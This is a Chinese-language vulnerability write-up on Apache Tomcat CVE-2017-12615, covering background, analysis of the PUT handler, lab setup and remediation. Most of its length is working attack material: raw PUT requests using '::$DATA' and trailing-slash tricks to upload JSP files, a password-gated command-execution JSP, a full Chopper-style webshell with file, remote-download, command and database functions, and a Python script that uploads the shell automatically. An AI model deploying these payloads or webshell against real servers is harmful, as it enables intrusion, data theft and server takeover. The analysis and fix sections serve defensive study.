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0x00 漏洞背景
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。对于一个初学者来说，可以这样认为，当在一台机器上配置好Apache 服务器，可利用它响应HTML（标准通用标记语言下的一个应用）页面的访问请求。实际上Tomcat是Apache 服务器的扩展，但运行时它是独立运行的，所以当你运行tomcat 时，它实际上作为一个与Apache 独立的进程单独运行的。
2017年9月19日，Apache Tomcat官方确认并修复了两个高危漏洞，漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间，在一定条件下，攻击者可以利用这两个漏洞，获取用户服务器上 JSP 文件的源代码，或是通过精心构造的攻击请求，向用户服务器上传恶意JSP文件，通过上传的 JSP 文件 ，可在用户服务器上执行任意代码，从而导致数据泄露或获取服务器权限，存在高安全风险。
0x01漏洞简介
当 Tomcat 运行在 Windows 主机上，且启用了 HTTP PUT 请求方法（例如，将readonly 初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后，JSP 文件中的代码将能被服务器执行。
大家可以先了解一下put请求：
PUT方法请求服务器去把请求里的实体存储在请求URI（Request-URI）标识下。
如果请求URI（Request-URI）指定的的资源已经在源服务器上存在，那么此请求里的实体应该被当作是源服务器关于此URI所指定资源实体的最新修改版本。如果请求URI（Request-URI）指定的资源不存在，并且此URI被用户代理定义为一个新资源，那么源服务器就应该根据请求里的实体创建一个此URI所标识下的资源。
如果一个新的资源被创建了，源服务器必须能向用户代理（user agent） 发送201（已创建）响应。如果已存在的资源被改变了，那么源服务器应该发送200（Ok）或者204（无内容）响应。
如果资源不能根据请求URI创建或者改变，一个合适的错误响应应该给出以反应问题的性质。实体的接收者不能忽略任何它不理解和不能实现的Content-*（如：Content-Range）头域，并且必须返回501（没有被实现）响应。如果请求穿过一个缓存（cache），并且此请求URI（Request-URI）指示了一个或多个当前缓存的实体，那么这些实体应该被看作是旧的。PUT方法的响应是不可缓存的。
0x02 影响版本
Apache Tomcat 7.0.0 to 7.0.79
0x03 漏洞分析
Tomcat 的 Servlet 是在 conf/web.xml 配置的。我们找到配置文件可以看到，定义了default servlet 和 JSP servlet两个servlet，DefaultServlet的作用是处理静态文件 ，JspServlet 的作用是处理jsp 与jspx 文件的请求，同时DefaultServlet 可以处理 PUT 或 DELETE请求。
当服务端接收到一个http请求时候，httpservlet会被调用。
其实是调用了servlet的service方法，
service()（根据请求方法不同调用doGet() 或者 doPost()，此外还有doHead()、doPut()、doTrace()、doDelete()、doOptions()、destroy())。
也就是当我们使用put请求方法时，其会调用doPut()
我们看一下doPut()方法的源码：可以看到这里如果readonly是true就直接进入error了，所以需要设置成false。
sendError(int errnum )说明：用来向客户端发送错误信息
SC_FORBIDDEN，状态码是403，表示服务器明白客户的请求，但拒绝响应。
0x04 漏洞复现
1.环境搭建：
（1)先安装jdk。（因为Tomcat需要java环境支持）
jdk8下载地址 http://www.liangchan.net/soft/download.asp?softid=9366&downid=8&id=9430
(2)双击jdk安装包，一直下一步安装即可(默认是会配置环境变量的)
(3)安装完可以自己测试一下：
(4)安装Tomcat
Tomcat 7.0.79 安装包下载地址：http://www.liangchan.net/soft/download.asp?softid=9366&downid=8&id=9430
(5)双击安装包，一直下一步默认即可
(6)安装完成后启动服务，访问http://127.0.0.1:8080
验证一下是否成功
(7)Tomcat服务器配置。打开Tomcat安装目录下的 /conf/web.xml 添加如下配置：
2.漏洞利用
上传姿势一：
参考思路:微软MSDN上关于NTFS Streams的一段资料https://msdn.microsoft.com/en-us/library/dn393272.aspx
大概意思:
NTFS卷上的所有文件至少包含一个流 - 主流 - 这是存储数据的普通可查看文件。流的全名是以下形式。
<filename>：<stream name>：<stream type>
默认数据流没有名称。也就是说，名为sample.txt的文件的默认流的完全限定名称是ample.txt :: $ DATA，因为sample.txt是文件的名称，$ DATA&是流类型。
用户可以在文件中创建命名流，并将$ DATA创建为合法名称。这意味着对于此流，全名是sample.txt：$ DATA：$ DATA。如果用户创建了名为bar的命名流，则其全名为sample.txt：bar：$ DATA。文件名的任何合法字符对于流名称（包括空格）都是合法的。
对于目录，没有默认数据流，但有一个默认目录流。目录是流类型$ INDEX_ALLOCATION。$ INDEX_ALLOCATION类型（目录流）的默认流名称是$ I30。（这与$ DATA流的默认流名称形成对比，后者具有空的流名称。）以下是等效的：
Dir C：\ Users
Dir C：\ Users：$ I30：$ INDEX_ALLOCATION
Dir C：\ Users :: $ INDEX_ALLOCATION
虽然目录没有默认数据流，但它们可以具有命名数据流。这些备用数据流通常不可见，但可以使用DIR命令的/ R选项从命令行观察。
payload:
PUT /shell.jsp::$DATA HTTP/1.1
Host: 172.26.1.8:8080
Content-Length: 662
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
我们利用burpsuite来发送我们的payload
可以看到返回响应码201，说明我们上传成功了。我们访问我们jsp脚本试试：
看到可以命令执行(我们上传的payload是命令执行的脚本)，我们也可以上传一个jsp的webshell。。。。。
上传姿势二：
我们知道servlet在识别1.jsp/时会把它当作非jsp文件交给DefaultServlet 来处理，而后续保存文件的时候，文件名不接受/字符，故而忽略掉
payload：(这次我们演示上传一个webshell)
PUT /webshell.jsp/ HTTP/1.1
Host: 172.26.1.8:8080
Content-Length: 6239
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!
String Pwd = "hetian";
String cs = "UTF-8";
String EC(String s) throws Exception {
return new String(s.getBytes("ISO-8859-1"),cs);
}
Connection GC(String s) throws Exception {
String[] x = s.trim().split("choraheiheihei");
Class.forName(x[0].trim());
if(x[1].indexOf("jdbc:oracle")!=-1){
return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
}else{
Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
if (x.length > 4) {
c.setCatalog(x[4]);
}
return c;
}
}
void AA(StringBuffer sb) throws Exception {
File k = new File("");
File r[] = k.listRoots();
for (int i = 0; i < r.length; i++) {
sb.append(r[i].toString().substring(0, 2));
}
}
void BB(String s, StringBuffer sb) throws Exception {
File oF = new File(s), l[] = oF.listFiles();
String sT, sQ, sF = "";
java.util.Date dt;
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
if (l[i].isDirectory()) {
sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");
} else {
sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";
}
}
sb.append(sF);
}
void EE(String s) throws Exception {
File f = new File(s);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
EE(x[k].getPath());
}
}
}
f.delete();
}
void FF(String s, HttpServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
os.write(("->" + "|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|" + "<-").getBytes(), 0, 3);
os.close();
is.close();
}
void GG(String s, String d) throws Exception {
String h = "0123456789ABCDEF";
File f = new File(s);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < d.length(); i += 2) {
os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));
}
os.close();
}
void HH(String s, String d) throws Exception {
File sf = new File(s), df = new File(d);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[512];
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
}
void II(String s, String d) throws Exception {
File sf = new File(s), df = new File(d);
sf.renameTo(df);
}
void JJ(String s) throws Exception {
File f = new File(s);
f.mkdir();
}
void KK(String s, String t) throws Exception {
File f = new File(s);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(t);
f.setLastModified(dt.getTime());
}
void LL(String s, String d) throws Exception {
URL u = new URL(s);
int n = 0;
FileOutputStream os = new FileOutputStream(d);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
}
void MM(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
}
void NN(String s, StringBuffer sb) throws Exception {
Connection c = GC(s);
ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();
while (r.next()) {
sb.append(r.getString(1) + "\t|\t\r\n");
}
r.close();
c.close();
}
void OO(String s, StringBuffer sb) throws Exception {
Connection c = GC(s);
String[] x = s.trim().split("choraheiheihei");
ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"});
while (r.next()) {
sb.append(r.getString("TABLE_NAME") + "\t|\t\r\n");
}
r.close();
c.close();
}
void PP(String s, StringBuffer sb) throws Exception {
String[] x = s.trim().split("\r\n");
Connection c = GC(s);
Statement m = c.createStatement(1005, 1007);
ResultSet r = m.executeQuery("select * from " + x[x.length-1]);
ResultSetMetaData d = r.getMetaData();
for (int i = 1; i <= d.getColumnCount(); i++) {
sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");
}
r.close();
m.close();
c.close();
}
void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {
Connection c = GC(s);
Statement m = c.createStatement(1005, 1008);
BufferedWriter bw = null;
try {
ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);
ResultSetMetaData d = r.getMetaData();
int n = d.getColumnCount();
for (int i = 1; i <= n; i++) {
sb.append(d.getColumnName(i) + "\t|\t");
}
sb.append("\r\n");
if(q.indexOf("--f:")!=-1){
File file = new File(p);
if(q.indexOf("-to:")==-1){
file.mkdir();
}
bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs));
}
while (r.next()) {
for (int i = 1; i <= n; i++) {
if(q.indexOf("--f:")!=-1){
bw.write(r.getObject(i)+""+"\t");
bw.flush();
}else{
sb.append(r.getObject(i)+"" + "\t|\t");
}
}
if(bw!=null){bw.newLine();}
sb.append("\r\n");
}
r.close();
if(bw!=null){bw.close();}
} catch (Exception e) {
sb.append("Result\t|\t\r\n");
try {
m.executeUpdate(q);
sb.append("Execute Successfully!\t|\t\r\n");
} catch (Exception ee) {
sb.append(ee.toString() + "\t|\t\r\n");
}
}
m.close();
c.close();
}
%>
<%
//String Z = EC(request.getParameter(Pwd) + "", cs);
cs = request.getParameter("code") != null ? request.getParameter("code")+ "":cs;
request.setCharacterEncoding(cs);
response.setContentType("text/html;charset=" + cs);
StringBuffer sb = new StringBuffer("");
if (request.getParameter(Pwd) != null) {
try {
String Z = EC(request.getParameter("action") + "");
String z1 = EC(request.getParameter("z1") + "");
String z2 = EC(request.getParameter("z2") + "");
sb.append("->" + "|");
String s = request.getSession().getServletContext().getRealPath("/");
if (Z.equals("A")) {
sb.append(s + "\t");
if (!s.substring(0, 1).equals("/")) {
AA(sb);
}
} else if (Z.equals("B")) {
BB(z1, sb);
} else if (Z.equals("C")) {
String l = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
} else if (Z.equals("D")) {
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
bw.write(z2);
bw.close();
sb.append("1");
} else if (Z.equals("E")) {
EE(z1);
sb.append("1");
} else if (Z.equals("F")) {
FF(z1, response);
} else if (Z.equals("G")) {
GG(z1, z2);
sb.append("1");
} else if (Z.equals("H")) {
HH(z1, z2);
sb.append("1");
} else if (Z.equals("I")) {
II(z1, z2);
sb.append("1");
} else if (Z.equals("J")) {
JJ(z1);
sb.append("1");
} else if (Z.equals("K")) {
KK(z1, z2);
sb.append("1");
} else if (Z.equals("L")) {
LL(z1, z2);
sb.append("1");
} else if (Z.equals("M")) {
String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
Process p = Runtime.getRuntime().exec(c);
MM(p.getInputStream(), sb);
MM(p.getErrorStream(), sb);
} else if (Z.equals("N")) {
NN(z1, sb);
} else if (Z.equals("O")) {
OO(z1, sb);
} else if (Z.equals("P")) {
PP(z1, sb);
} else if (Z.equals("Q")) {
QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");
}
} catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
sb.append("|" + "<-");
out.print(sb.toString());
}
%>
我们还是利用burpsuite发送我们构造的payload：
我们可以看到响应码为201，说明成功创建，我们用菜刀连接看一下：
最后再给大家附一个网上找的py脚本：
#! -*- coding:utf-8 -*-
import httplib
import sys
import time
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
try:
conn = httplib.HTTPConnection(sys.argv[1])
conn.request(method='OPTIONS', url='/ffffzz')
headers = dict(conn.getresponse().getheaders())
if 'allow' in headers and \
headers['allow'].find('PUT') > 0 :
conn.close()
conn = httplib.HTTPConnection(sys.argv[1])
url = "/" + str(int(time.time()))+'.jsp/'
#url = "/" + str(int(time.time()))+'.jsp::$DATA'
conn.request( method='PUT', url= url, body=body)
res = conn.getresponse()
if res.status == 201 :
#print 'shell:', 'http://' + sys.argv[1] + url[:-7]
print 'shell:', 'http://' + sys.argv[1] + url[:-1]
elif res.status == 204 :
print 'file exists'
else:
print 'error'
conn.close()
else:
print 'Server not vulnerable'
except Exception,e:
print 'Error:', e
运行后，直接访问上传的jsp脚本即可（利用同上传姿势一里面的）
0x04 漏洞修复
1.升级到Apache Tomcat更高版本。
2.通过测试，注释掉readonly配置或配置readonly的值为true时PUT不生效。
用户可以禁用PUT方法来防护此漏洞，操作方式如下：
在Tomcat的web.xml 文件中配置org.apache.catalina.servlets.DefaultServlet的初始化参数
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>